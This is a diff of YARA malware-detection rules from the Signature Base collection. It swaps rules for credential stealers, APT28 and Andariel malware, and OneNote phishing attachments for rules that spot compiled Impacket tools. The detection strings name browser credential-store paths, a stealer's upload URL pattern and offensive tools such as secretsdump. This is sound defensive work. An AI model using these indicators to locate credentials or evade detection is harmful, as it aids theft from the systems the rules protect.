-		filesize <300KB and (( uint16(0)==0x5a4d and $x1 and 3 of ($s*)) or (3 of ($s*) and 4 of ($z*)))
+		uint16(0)==0x5a4d and filesize <1000KB and ($x1 or 2 of them )
 }
-rule SIGNATURE_BASE_Groups_Cpassword : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Tracer : FILE
 {
 	meta:
-		description = "Groups XML contains cpassword value, which is decrypted password - key is in MSDN http://goo.gl/mHrC8P"
+		description = "Compiled Impacket Tools"
 		author = "Florian Roth (Nextron Systems)"
-		id = "37036df9-871f-5ecd-acac-6a064d298115"
-		date = "2015-09-08"
+		id = "aea71154-5e19-522f-93b0-ff43fee0c5c0"
+		date = "2017-04-07"
 		modified = "2023-12-05"
-		reference = "http://www.grouppolicy.biz/2013/11/why-passwords-in-group-policy-preference-are-very-bad/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_gpp_cpassword.yar#L2-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "de37dc77d9a2462f5d54ad5225405c6d95dad39e67a893f5442b26dc641a20f9"
-		score = 50
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L11-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f851f20243e95fdab66f048c21d417ddb17e1c35e9b6be8219afdfee8c1e0291"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "e300339058a885475f5952fb4e9faaa09bb6eac26757443017b281c46b03108b"
 
 	strings:
-		$s1 = / cpassword=\"[^\"]/ ascii
-		$s2 = " changeLogon=" ascii
-		$s3 = " description=" ascii
-		$s4 = " acctDisabled=" ascii
+		$s1 = "btk85.dll" fullword ascii
+		$s2 = "btcl85.dll" fullword ascii
+		$s3 = "xtk\\unsupported.tcl" fullword ascii
 
 	condition:
-		uint32be(0)==0x3C3F786D and filesize <1000KB and all of ($s*)
+		( uint16(0)==0x5a4d and filesize <21000KB and all of them )
 }
-rule SIGNATURE_BASE_MAL_Envrial_Jan18_1 : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Wmiexec : FILE
 {
 	meta:
-		description = "Detects Encrial credential stealer malware"
+		description = "Compiled Impacket Tools"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8be5f0d8-013f-5070-9e19-9ac522c88693"
-		date = "2018-01-21"
+		id = "3c2c7edf-da71-53dc-9ddf-dfbf10838a27"
+		date = "2017-04-07"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/malwrhunterteam/status/953313514629853184"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_envrial.yar#L11-L40"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f047bedaac4dd934657b282a2587c55f3087a7cceb1a80becf14e7db3c365e8b"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L28-L43"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1ac78768ae230aa00f392f7a7886589b14814e9c7379528d2ecd218852086ee4"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85"
-		hash2 = "9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d"
+		hash1 = "19544863758341fe7276c59d85f4aa17094045621ca9c98f8a9e7307c290bad4"
 
 	strings:
-		$x1 = "/Evrial/master/domen" wide
-		$a1 = "\\Opera Software\\Opera Stable\\Login Data" wide
-		$a2 = "\\Comodo\\Dragon\\User Data\\Default\\Login Data" wide
-		$a3 = "\\Google\\Chrome\\User Data\\Default\\Login Data" wide
-		$a4 = "\\Orbitum\\User Data\\Default\\Login Data" wide
-		$a5 = "\\Kometa\\User Data\\Default\\Login Data" wide
-		$s1 = "dlhosta.exe" fullword wide
-		$s2 = "\\passwords.log" wide
-		$s3 = "{{ <>h__TransparentIdentifier1 = {0}, Password = {1} }}" fullword wide
-		$s4 = "files/upload.php?user={0}&hwid={1}" fullword wide
+		$s1 = "bwmiexec.exe.manifest" fullword ascii
+		$s2 = "swmiexec" fullword ascii
+		$s3 = "\\yzHPlU=QA" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <900KB and (1 of ($x*) or 3 of them or 2 of ($s*))
+		( uint16(0)==0x5a4d and filesize <17000KB and 2 of them )
 }
-rule SIGNATURE_BASE_APT_APT28_Cannon_Trojan_Nov18_1 : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Sniffer : FILE
 {
 	meta:
-		description = "Detects Cannon Trojan used by Sofacy"
+		description = "Compiled Impacket Tools"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a60f3e75-8bfe-592e-90d1-321bd86173ac"
-		date = "2018-11-20"
+		id = "07051edc-91a8-59d6-87bf-dba98ef28588"
+		date = "2017-04-07"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_cannon.yar#L2-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "de8c7bf80fe6209d00955c375b769a3aca138759335abb11f5086f85a4a9c367"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L45-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "77f4a7cdfced27ea342fe0fe6debebb720b7494b3f352465ab2fd92f2b7178ab"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "efff15e1815fb3c156678417d6037ddf4b711a3122c9b5bc2ca8dc97165d3769"
 
 	strings:
-		$xc1 = { 46 6F 72 6D 31 00 63 61 6E 6E 6F 6E 00 4D 44 61
-               74 00 41 55 54 48 }
-		$xc2 = { 13 4F 00 53 00 3A 00 20 00 20 00 7B 00 30 00 7D
-               00 0A 00 00 17 53 00 44 00 69 00 72 00 3A 00 20
-               00 20 00 7B 00 30 00 7D 00 0A 00 00 1B 44 00 6F
-               00 6D 00 61 00 69 00 6E 00 3A 00 20 00 20 00 7B
-               00 30 00 7D 00 0A 00 00 15 48 00 6F 00 73 00 74
-               00 3A 00 20 00 7B 00 30 00 7D 00 0A 00 00 21 43
-               00 75 00 72 00 72 00 65 00 6E 00 74 00 55 00 73
-               00 72 00 3A 00 20 00 7B 00 30 00 7D 00 0A 00 00
-               17 54 00 69 00 6D 00 65 00 5A 00 3A 00 20 00 7B
-               00 30 00 7D }
-		$x2 = "\\Desktop\\cannon\\obj\\" ascii
-		$x3 = "C:\\Users\\Public\\Music\\s.txt" fullword wide
-		$s1 = "C:\\Documents and Settings\\All Users\\Documents" fullword wide
-		$s2 = "notEncoded - Value here is never used" fullword wide
-		$s3 = "Windows NT\\CurrentVersion\\Winlogon\"" fullword wide
-		$s4 = "AnswerMessageTraverser`1" fullword ascii
+		$s1 = "ssniffer" fullword ascii
+		$s2 = "impacket.dhcp(" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and 1 of ($x*) or 3 of them
+		( uint16(0)==0x5a4d and filesize <15000KB and all of them )
 }
-rule SIGNATURE_BASE_SUSP_Email_Suspicious_Onenote_Attachment_Jan23_1 : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Mmcexec : FILE
 {
 	meta:
-		description = "Detects suspicious OneNote attachment that embeds suspicious payload, e.g. an executable (FPs possible if the PE is attached separately)"
+		description = "Compiled Impacket Tools"
 		author = "Florian Roth (Nextron Systems)"
-		id = "492b74c2-3b81-5dff-9244-8528565338c6"
-		date = "2023-01-27"
+		id = "cca2082f-72a4-50c8-80b8-a9bed430dc4e"
+		date = "2017-04-07"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_onenote_phish.yar#L2-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c7c5fc86f1dbe54da2d3ff8f039c5e53c3d1f67c9271cb467b2318310f744f93"
-		score = 65
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L61-L75"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1aee75155ed3d868f576d7d650f0791ac54e351851f7bfb65390b4ae5c4c83b9"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "263a1655a94b7920531e123a8c9737428f2988bf58156c62408e192d4b2a63fc"
 
 	strings:
-		$ge1 = "5xbjvWUmEUWkxI1NC3qer"
-		$ge2 = "cW471lJhFFpMSNTQt6nq"
-		$ge3 = "nFuO9ZSYRRaTEjU0Lep6s"
-		$sp1 = "VGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZG"
-		$sp2 = "RoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2Rl"
-		$sp3 = "UaGlzIHByb2dyYW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZ"
-		$sp4 = "VGhpcyBwcm9ncmFtIG11c3QgYmUgcnVuIHVuZGVy"
-		$sp5 = "RoaXMgcHJvZ3JhbSBtdXN0IGJlIHJ1biB1bmRlc"
-		$sp6 = "UaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZX"
-		$se1 = "QGVjaG8gb2Zm"
-		$se2 = "BlY2hvIG9mZ"
-		$se3 = "AZWNobyBvZm"
-		$se4 = "PEhUQTpBUFBMSUNBVElPTi"
-		$se5 = "xIVEE6QVBQTElDQVRJT04g"
-		$se6 = "8SFRBOkFQUExJQ0FUSU9OI"
-		$se7 = "TAAAAAEUAg"
-		$se8 = "wAAAABFAIA"
-		$se9 = "MAAAAARQCA"
+		$s1 = "smmcexec" fullword ascii
+		$s2 = "\\yzHPlU=QA" ascii
 
 	condition:
-		filesize <5MB and 1 of ($ge*) and 1 of ($s*)
+		( uint16(0)==0x5a4d and filesize <16000KB and all of them )
 }
-rule SIGNATURE_BASE_SUSP_Email_Suspicious_Onenote_Attachment_Jan23_2 : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Ifmap : FILE
 {
 	meta:
-		description = "Detects suspicious OneNote attachment that has a file name often used in phishing attacks"
+		description = "Compiled Impacket Tools"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f8c58c73-2404-5ce6-8e8f-99b0dad84ad0"
-		date = "2023-01-27"
+		id = "e5461916-ec2b-5f65-b938-267483f50bb2"
+		date = "2017-04-07"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_onenote_phish.yar#L41-L61"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "eb6f992ce186022f04613af3bf4df629b00d85eac151f8bbd4b8ef96e6892eab"
-		score = 65
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L77-L91"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bbe875e03434c040da914e81ec5ef691ba8fd02607631e118d958819d0e94ff5"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "20a1f11788e6cc98a76dca2db4691963c054fc12a4d608ac41739b98f84b3613"
 
 	strings:
-		$hc1 = { 2E 6F 6E 65 22 0D 0A 0D 0A 35 46 4A 63 65 }
-		$x01 = " attachment; filename=\"Invoice" nocase
-		$x02 = " attachment; filename=\"ORDER" nocase
-		$x03 = " attachment; filename=\"PURCHASE" nocase
-		$x04 = " attachment; filename=\"SHIP" nocase
+		$s1 = "bifmap.exe.manifest" fullword ascii
+		$s2 = "impacket.dcerpc.v5.epm(" ascii
 
 	condition:
-		filesize <5MB and $hc1 and 1 of ($x*)
+		( uint16(0)==0x5a4d and filesize <15000KB and all of them )
 }
-rule SIGNATURE_BASE_SUSP_Onenote_Embedded_Filedatastoreobject_Type_Jan23_1 : FILE
+rule SIGNATURE_BASE_Karmasmb : FILE
 {
 	meta:
-		description = "Detects suspicious embedded file types in OneNote files"
-		author = "Florian Roth"
-		id = "b8ea8c7b-052f-5a97-9577-99903462ea84"
-		date = "2023-01-27"
-		modified = "2023-02-27"
-		reference = "https://blog.didierstevens.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_onenote_phish.yar#L63-L106"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d91ca297ea96f80534085f174d335ffe961c569534f043c5c2ae8d6a9f7ac083"
-		score = 65
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "32c810c7-02e7-5203-b2ed-4e930b318cc0"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L93-L106"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "94322dda799bcb25caeb7f9e526bcc14c6dfd9247080b4bb79dcd7b340fcb36c"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d256d1e05695d62a86d9e76830fcbb856ba7bd578165a561edd43b9f7fdb18a3"
 
 	strings:
-		$x1 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
-              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
-              ?? ?? ?? ?? 4d 5a }
-		$x2 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
-              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
-              ?? ?? ?? ?? [0-4] 40 65 63 68 6f }
-		$x3 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
-              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
-              ?? ?? ?? ?? [0-4] 40 45 43 48 4f }
-		$x4 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
-              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
-              ?? ?? ?? ?? [0-4] 4F 6E 20 45 }
-		$x5 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
-              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
-              ?? ?? ?? ?? [0-4] 6F 6E 20 65 }
-		$x6 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
-              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
-              ?? ?? ?? ?? 4c 00 00 00 }
-		$x7 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
-              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
-              ?? ?? ?? ?? 49 54 53 46 }
-		$x8 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
-              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
-              ?? ?? ?? ?? [6-200] 3C 68 74 61 3A }
-		$x9 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
-              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
-              ?? ?? ?? ?? [6-200] 3C 48 54 41 3A }
-		$x10 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
-              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
-              ?? ?? ?? ?? [6-200] 3C 6A 6F 62 20 }
+		$s1 = "bkarmaSMB.exe.manifest" fullword ascii
 
 	condition:
-		filesize <10MB and 1 of them
+		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
 }
-rule SIGNATURE_BASE_SUSP_Onenote_Embedded_Filedatastoreobject_Type_Jan23_2 : FILE
+rule SIGNATURE_BASE_Samrdump : FILE
 {
 	meta:
-		description = "Detects suspicious embedded file types in OneNote files"
+		description = "Compiled Impacket Tools"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0664d202-ab4c-57b6-91ee-ea21ac08909e"
-		date = "2023-01-27"
+		id = "cd274719-c8cc-5882-8d75-192ad822c6b3"
+		date = "2017-04-07"
 		modified = "2023-12-05"
-		reference = "https://blog.didierstevens.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_onenote_phish.yar#L108-L125"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bc07598570b6d4ebc5d14cedfed146c1ad309b8890bc0b9ee5f9ad645c1352e2"
-		score = 65
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L108-L122"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6bc0a4d9f9bd0d72e7f2ce4b0f8608296e6f2db14fd3a1740e0eebfe35629018"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4c2921702d18e0874b57638433474e54719ee6dfa39d323839d216952c5c834a"
 
 	strings:
-		$a1 = { 00 e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac }
-		$s1 = "<HTA:APPLICATION "
+		$s2 = "bsamrdump.exe.manifest" fullword ascii
+		$s3 = "ssamrdump" fullword ascii
 
 	condition:
-		filesize <5MB and $a1 and 1 of ($s*)
+		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Scheduledtask_Loader : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Rpcdump : FILE
 {
 	meta:
-		description = "Detects a scheduled task loader used by Andariel"
-		author = "CISA.gov"
-		id = "0c32758b-480c-5784-b28f-cee85d038850"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L3-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2d32ee777cb40c6fa58787e92c0de074ea5b81d629a17ccb4f9432d62436f03c"
-		score = 80
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3f998aa6-c260-5fef-99ef-e8b4770c68c6"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L124-L138"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cf0a64391ef0a5d3f87996fb3e4f152a3ff4938356b96f840aa3f4f4f30aaa97"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "21d85b36197db47b94b0f4995d07b040a0455ebbe6d413bc33d926ee4e0315d9"
 
 	strings:
-		$obfuscation1 = { B8 02 00 00 00 48 6B C0 00 B9 CD FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 01 B9 CC FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 02 B9 8D FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 03 B9 9A FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 04 B9 8C FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 05 B9 8A FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 06 33 C9 66 89 8C 04 60 01 00 00 }
-		$obfuscation2 = { 48 6B C0 02 C6 44 04 20 BA B8 01 00 00 00 48 6B C0 03 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 04 C6 44 04 20 8B B8 01 00 00 00 48 6B C0 05 C6 44 04 20 8A B8 01 00 00 00 48 6B C0 06 C6 44 04 20 9C B8 01 00 00 00 }
-		$obfuscation3 = { 48 6B C0 00 C6 44 04 20 A8 B8 01 00 00 00 48 6B C0 01 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 02 C6 44 04 20 93 B8 01 00 00 00 48 6B C0 03 C6 44 04 20 96 B8 01 00 00 00 48 6B C0 04 C6 44 04 20 B9 B8 01 00 00 00 48 6B C0 05 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 06 C6 44 04 20 8B B8 01 00 00 00 48 6B C0 07 C6 44 04 20 9E B8 01 00 00 00 48 6B C0 08 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 09 C6 44 04 20 8D B8 01 00 00 00 48 6B C0 0A C6 44 04 20 BC B8 01 00 00 00 }
+		$s1 = "srpcdump" fullword ascii
+		$s2 = "impacket.dcerpc.v5.epm(" ascii
 
 	condition:
-		uint16(0)==0x5A4D and $obfuscation1 and $obfuscation2 and $obfuscation3
+		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Kaosrat_Yamabot
+rule SIGNATURE_BASE_Impacket_Tools_Secretsdump : FILE
 {
 	meta:
-		description = "Detects the KaosRAT variant"
-		author = "CISA.gov"
-		id = "cdde69cd-1b38-52f5-8552-cef2cf4ad69c"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L19-L40"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "92182aac2e56041292102b0486b7de1ee6eb3d54a9fc6786c567acd92073cd84"
-		score = 70
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c944d051-ea24-5595-abef-59e326ad56de"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L140-L154"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "462748d60764c6fbaeede48b5a98cb68f61cf695f976bf6db94cb497be48fcb2"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "47afa5fd954190df825924c55112e65fd8ed0f7e1d6fd403ede5209623534d7d"
 
 	strings:
-		$str1 = "/kaos/"
-		$str2 = "Abstand ["
-		$str3 = "] anwenden"
-		$str4 = "cmVjYXB0Y2hh"
-		$str5 = "/bin/sh"
-		$str6 = "utilities.CIpaddress"
-		$str7 = "engine.NewEgg"
-		$str8 = "%s%04x%s%s%s"
-		$str9 = "Y2FwdGNoYV9zZXNzaW9u"
-		$str10 = "utilities.EierKochen"
-		$str11 = "kandidatKaufhaus"
+		$s1 = "ssecretsdump" fullword ascii
+		$s2 = "impacket.ese(" ascii
 
 	condition:
-		3 of them
+		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Trifaux_Easyrat_JUPITER : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Esentutl : FILE
 {
 	meta:
-		description = "Detects a variant of the EasyRAT malware family"
-		author = "CISA.gov"
-		id = "8bd72287-59da-53cf-9015-66149303e59f"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L42-L56"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6108035dbebd34fe994fc1f8b4123321321f6ed5c022be6e84a88f905ea6fb73"
-		score = 80
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1965e2b3-54be-553a-83d6-a0d4919414dd"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L156-L170"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e972ad610df65309f4e5996ad0b537670b944f43b810fda5a890ea995193a97a"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "70d854953d3ebb2c252783a4a103ba0e596d6ab447f238af777fb37d2b64c0cd"
 
 	strings:
-		$InitOnce = "InitOnceExecuteOnce"
-		$BREAK = { 0D 00 0A 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 0D 00 0A }
-		$Bytes = "4C,$00,$00,$00,$01,$14,$02,$00,$00,$00,$00,$00,$C0,$00,$00,$00,$00,$00,$00," wide
+		$s1 = "impacket.ese(" ascii
+		$s2 = "sesentutl" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		( uint16(0)==0x5a4d and filesize <11000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Cutiedrop_Magicrat : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Opdump : FILE
 {
 	meta:
-		description = "Detects the MagicRAT variant used by Andariel"
-		author = "CISA.gov (modified by Florian Roth, Nextron Systems)"
-		id = "104244de-83fb-5112-a2b6-e20d38a6ced6"
-		date = "2024-07-25"
